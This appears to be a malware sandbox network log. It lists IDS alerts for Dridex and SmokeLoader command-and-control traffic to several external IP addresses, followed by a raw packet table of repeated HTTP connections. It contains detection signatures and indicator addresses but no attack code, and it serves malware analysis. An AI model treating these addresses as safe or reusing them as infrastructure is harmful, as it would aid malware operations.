2024-10-08T03:15:19.556728+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	49915	23.145.40.168	443	TCP
2024-10-08T03:15:19.731852+0200	2829848	ETPRO MALWARE SmokeLoader encrypted module (3)	2	23.145.40.168	443	192.168.2.4	49915	TCP
2024-10-08T03:15:20.940399+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49924	23.145.40.168	443	TCP
2024-10-08T03:15:21.301374+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	49924	23.145.40.168	443	TCP
2024-10-08T03:15:21.924039+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49935	23.145.40.168	443	TCP
2024-10-08T03:15:22.202449+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	49935	23.145.40.168	443	TCP
2024-10-08T03:15:23.127857+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49942	23.145.40.168	443	TCP
2024-10-08T03:15:23.407326+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	49942	23.145.40.168	443	TCP
2024-10-08T03:15:24.007314+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49951	23.145.40.168	443	TCP
2024-10-08T03:15:24.284045+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	49951	23.145.40.168	443	TCP
2024-10-08T03:15:24.904929+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49959	23.145.40.168	443	TCP
2024-10-08T03:15:25.174280+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	49959	23.145.40.168	443	TCP
2024-10-08T03:15:25.814603+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49965	23.145.40.168	443	TCP
2024-10-08T03:15:26.096204+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	49965	23.145.40.168	443	TCP
2024-10-08T03:15:26.719338+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49971	23.145.40.168	443	TCP
2024-10-08T03:15:27.035482+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	49971	23.145.40.168	443	TCP
2024-10-08T03:15:27.642402+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49977	23.145.40.168	443	TCP
2024-10-08T03:15:27.919881+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	49977	23.145.40.168	443	TCP
2024-10-08T03:15:28.579765+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49983	23.145.40.168	443	TCP
2024-10-08T03:15:28.860193+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	49983	23.145.40.168	443	TCP
2024-10-08T03:15:29.478717+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49989	23.145.40.168	443	TCP
2024-10-08T03:15:29.756748+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	49989	23.145.40.168	443	TCP
2024-10-08T03:15:30.411627+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	49995	23.145.40.168	443	TCP
2024-10-08T03:15:30.634802+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	49995	23.145.40.168	443	TCP
2024-10-08T03:15:31.283857+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50001	23.145.40.168	443	TCP
2024-10-08T03:15:31.568650+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	50001	23.145.40.168	443	TCP
2024-10-08T03:15:32.191015+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50008	23.145.40.168	443	TCP
2024-10-08T03:15:32.467294+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	50008	23.145.40.168	443	TCP
2024-10-08T03:15:33.069306+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50015	23.145.40.168	443	TCP
2024-10-08T03:15:33.339954+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	50015	23.145.40.168	443	TCP
2024-10-08T03:15:33.957275+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50024	23.145.40.168	443	TCP
2024-10-08T03:15:34.238068+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	50024	23.145.40.168	443	TCP
2024-10-08T03:15:34.867331+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50030	23.145.40.168	443	TCP
2024-10-08T03:15:35.149562+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	50030	23.145.40.168	443	TCP
2024-10-08T03:15:36.316479+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50036	23.145.40.168	443	TCP
2024-10-08T03:15:36.592551+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	50036	23.145.40.168	443	TCP
2024-10-08T03:15:37.218884+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50043	23.145.40.168	443	TCP
2024-10-08T03:15:38.491915+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	50043	23.145.40.168	443	TCP
2024-10-08T03:15:43.167928+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50055	23.145.40.168	443	TCP
2024-10-08T03:16:17.332902+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50056	180.75.11.133	80	TCP
2024-10-08T03:16:25.215333+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50057	180.75.11.133	80	TCP
2024-10-08T03:16:35.175377+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50058	180.75.11.133	80	TCP
2024-10-08T03:16:47.543160+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50059	180.75.11.133	80	TCP
2024-10-08T03:16:57.444928+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50060	23.145.40.168	443	TCP
2024-10-08T03:16:57.772199+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	50060	23.145.40.168	443	TCP
2024-10-08T03:16:58.438011+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50061	23.145.40.168	443	TCP
2024-10-08T03:16:58.803947+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	50061	23.145.40.168	443	TCP
2024-10-08T03:17:02.272122+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50062	201.103.8.135	80	TCP
2024-10-08T03:17:16.307008+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50063	23.145.40.168	443	TCP
2024-10-08T03:17:16.585580+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	50063	23.145.40.168	443	TCP
2024-10-08T03:17:20.704358+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50064	201.103.8.135	80	TCP
2024-10-08T03:17:34.328112+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50065	23.145.40.168	443	TCP
2024-10-08T03:17:34.688036+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	50065	23.145.40.168	443	TCP
2024-10-08T03:17:38.839751+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50066	201.103.8.135	80	TCP
2024-10-08T03:17:51.835614+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50067	23.145.40.168	443	TCP
2024-10-08T03:17:52.198933+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.4	50067	23.145.40.168	443	TCP
2024-10-08T03:17:56.257177+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.4	50068	201.103.8.135	80	TCP
2024-10-08T03:18:03.951900+0200	2019082	ET MALWARE Windows route Microsoft Windows DOS prompt command exit OUTBOUND	1	192.168.2.4	50069	23.145.40.113	443	TCP
2024-10-08T03:18:03.968253+0200	2019082	ET MALWARE Windows route Microsoft Windows DOS prompt command exit OUTBOUND	1	192.168.2.4	50069	23.145.40.113	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 03:14:20.802907944 CEST	49736	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:20.807918072 CEST	80	49736	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:20.811443090 CEST	49736	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:20.830836058 CEST	49736	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:20.830836058 CEST	49736	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:20.836018085 CEST	80	49736	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:20.836055994 CEST	80	49736	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:22.194552898 CEST	80	49736	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:22.194612026 CEST	80	49736	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:22.194672108 CEST	49736	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:22.196510077 CEST	49736	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:22.199690104 CEST	49737	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:22.201554060 CEST	80	49736	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:22.204688072 CEST	80	49737	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:22.204808950 CEST	49737	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:22.204900980 CEST	49737	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:22.204952955 CEST	49737	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:22.209880114 CEST	80	49737	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:22.209908962 CEST	80	49737	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:23.607597113 CEST	80	49737	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:23.607645035 CEST	80	49737	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:23.607928038 CEST	49737	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:23.607928038 CEST	49737	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:23.610338926 CEST	49738	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:23.612952948 CEST	80	49737	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:23.615382910 CEST	80	49738	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:23.615633965 CEST	49738	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:23.615633965 CEST	49738	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:23.615633965 CEST	49738	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:23.620589018 CEST	80	49738	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:23.620711088 CEST	80	49738	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:24.986113071 CEST	80	49738	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:24.986160040 CEST	80	49738	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:24.986323118 CEST	49738	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:24.986417055 CEST	49738	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:24.988500118 CEST	49739	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:24.991677999 CEST	80	49738	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:24.993643045 CEST	80	49739	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:24.993730068 CEST	49739	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:24.993828058 CEST	49739	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:24.993864059 CEST	49739	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:24.998874903 CEST	80	49739	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:24.998903036 CEST	80	49739	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:26.372226954 CEST	80	49739	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:26.372284889 CEST	80	49739	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:26.372379065 CEST	49739	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:26.372486115 CEST	49739	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:26.374844074 CEST	49740	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:26.377368927 CEST	80	49739	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:26.379756927 CEST	80	49740	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:26.380966902 CEST	49740	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:26.381064892 CEST	49740	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:26.381099939 CEST	49740	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:26.385870934 CEST	80	49740	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:26.386064053 CEST	80	49740	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:27.804676056 CEST	80	49740	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:27.804729939 CEST	80	49740	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:27.804881096 CEST	49740	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:27.805133104 CEST	49740	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:27.807914972 CEST	49741	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:27.810049057 CEST	80	49740	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:27.812818050 CEST	80	49741	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:27.812952042 CEST	49741	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:27.813083887 CEST	49741	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:27.813113928 CEST	49741	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:27.818119049 CEST	80	49741	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:27.818147898 CEST	80	49741	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:29.188271999 CEST	80	49741	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:29.188338995 CEST	80	49741	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:29.188524008 CEST	49741	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:29.188555002 CEST	49741	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:29.190633059 CEST	49742	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:29.193809032 CEST	80	49741	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:29.195538998 CEST	80	49742	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:29.195738077 CEST	49742	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:29.195943117 CEST	49742	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:29.195971012 CEST	49742	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:29.201134920 CEST	80	49742	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:29.201164007 CEST	80	49742	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:30.566800117 CEST	80	49742	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:30.566859007 CEST	80	49742	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:30.567065954 CEST	49742	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:30.567065954 CEST	49742	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:30.569874048 CEST	49743	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:30.572238922 CEST	80	49742	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:30.575277090 CEST	80	49743	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:30.575354099 CEST	49743	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:30.575489044 CEST	49743	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:30.575522900 CEST	49743	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:30.580897093 CEST	80	49743	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:30.580924988 CEST	80	49743	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:31.966928005 CEST	80	49743	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:31.967070103 CEST	80	49743	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:31.967427015 CEST	49743	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:31.968405962 CEST	49743	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:31.970809937 CEST	49744	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:31.973855019 CEST	80	49743	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:31.975830078 CEST	80	49744	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:31.976115942 CEST	49744	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:31.976115942 CEST	49744	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:31.976259947 CEST	49744	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:31.981028080 CEST	80	49744	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:31.981267929 CEST	80	49744	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:33.349793911 CEST	80	49744	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:33.349842072 CEST	80	49744	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:33.349888086 CEST	49744	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:33.350022078 CEST	49744	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:33.352307081 CEST	49745	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:33.354815960 CEST	80	49744	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:33.357636929 CEST	80	49745	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:33.357772112 CEST	49745	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:33.357906103 CEST	49745	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:33.357943058 CEST	49745	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:33.362766981 CEST	80	49745	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:33.362905979 CEST	80	49745	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:34.724086046 CEST	80	49745	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:34.724298000 CEST	80	49745	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:34.724536896 CEST	49745	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:34.724536896 CEST	49745	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:34.726814985 CEST	49746	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:34.729600906 CEST	80	49745	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:34.731710911 CEST	80	49746	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:34.731926918 CEST	49746	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:34.731926918 CEST	49746	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:34.731926918 CEST	49746	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:34.737020969 CEST	80	49746	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:34.737099886 CEST	80	49746	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:36.128566027 CEST	80	49746	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:36.128914118 CEST	80	49746	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:36.129091024 CEST	49746	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:36.129091024 CEST	49746	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:36.131439924 CEST	49747	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:36.134471893 CEST	80	49746	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:36.136496067 CEST	80	49747	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:36.136562109 CEST	49747	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:36.136688948 CEST	49747	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:36.136688948 CEST	49747	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:36.141824007 CEST	80	49747	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:36.141851902 CEST	80	49747	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:37.511106014 CEST	80	49747	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:37.511152983 CEST	80	49747	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:37.511220932 CEST	49747	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:37.511424065 CEST	49747	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:37.513612986 CEST	49748	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:37.516464949 CEST	80	49747	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:37.519033909 CEST	80	49748	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:37.519123077 CEST	49748	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:37.519217014 CEST	49748	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:37.519237995 CEST	49748	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:37.524388075 CEST	80	49748	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:37.524463892 CEST	80	49748	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:38.888278961 CEST	80	49748	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:38.888535976 CEST	80	49748	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:38.888606071 CEST	49748	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:38.888647079 CEST	49748	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:38.890907049 CEST	49749	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:38.893678904 CEST	80	49748	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:38.895818949 CEST	80	49749	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:38.896028042 CEST	49749	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:38.896028042 CEST	49749	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:38.896028042 CEST	49749	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:38.900960922 CEST	80	49749	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:38.901268959 CEST	80	49749	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:40.294745922 CEST	80	49749	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:40.294806957 CEST	80	49749	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:40.294985056 CEST	49749	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:40.294985056 CEST	49749	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:40.297307014 CEST	49750	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:40.300010920 CEST	80	49749	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:40.302263975 CEST	80	49750	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:40.302362919 CEST	49750	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:40.302452087 CEST	49750	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:40.305581093 CEST	49750	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:40.307780027 CEST	80	49750	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:40.310612917 CEST	80	49750	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:41.686357021 CEST	80	49750	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:41.686829090 CEST	80	49750	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:41.687004089 CEST	49750	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:41.687005043 CEST	49750	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:41.689197063 CEST	49751	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:41.692786932 CEST	80	49750	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:41.694791079 CEST	80	49751	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:41.694856882 CEST	49751	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:41.694941998 CEST	49751	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:41.694969893 CEST	49751	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:41.699980974 CEST	80	49751	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:41.700321913 CEST	80	49751	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:43.070204020 CEST	80	49751	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:43.070231915 CEST	80	49751	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:43.070322990 CEST	49751	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:43.070482969 CEST	49751	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:43.072712898 CEST	49752	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:43.075249910 CEST	80	49751	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:43.077588081 CEST	80	49752	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:43.077734947 CEST	49752	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:43.077734947 CEST	49752	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:43.077768087 CEST	49752	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:43.082622051 CEST	80	49752	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:43.082957029 CEST	80	49752	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:44.453233957 CEST	80	49752	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:44.453790903 CEST	80	49752	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:44.453845978 CEST	49752	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:44.458587885 CEST	49752	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:44.463538885 CEST	80	49752	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:44.475074053 CEST	49753	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:44.480578899 CEST	80	49753	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:44.480665922 CEST	49753	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:44.486186981 CEST	49753	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:44.489777088 CEST	49753	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:44.491291046 CEST	80	49753	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:44.494667053 CEST	80	49753	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:46.078051090 CEST	80	49753	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:46.078119993 CEST	80	49753	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:46.078180075 CEST	49753	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:46.078320026 CEST	49753	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:46.080387115 CEST	49754	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:46.353553057 CEST	80	49753	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:46.353574038 CEST	80	49753	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:46.353586912 CEST	80	49753	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:46.353600979 CEST	80	49754	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:46.353657961 CEST	49753	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:46.353658915 CEST	49753	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:46.353729963 CEST	49754	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:46.353887081 CEST	49754	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:46.353938103 CEST	49754	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:46.358635902 CEST	80	49754	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:46.358803034 CEST	80	49754	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:47.954217911 CEST	80	49754	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:47.954246044 CEST	80	49754	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:47.954405069 CEST	49754	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:47.954641104 CEST	49754	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:47.956671953 CEST	49755	80	192.168.2.4	180.75.11.133
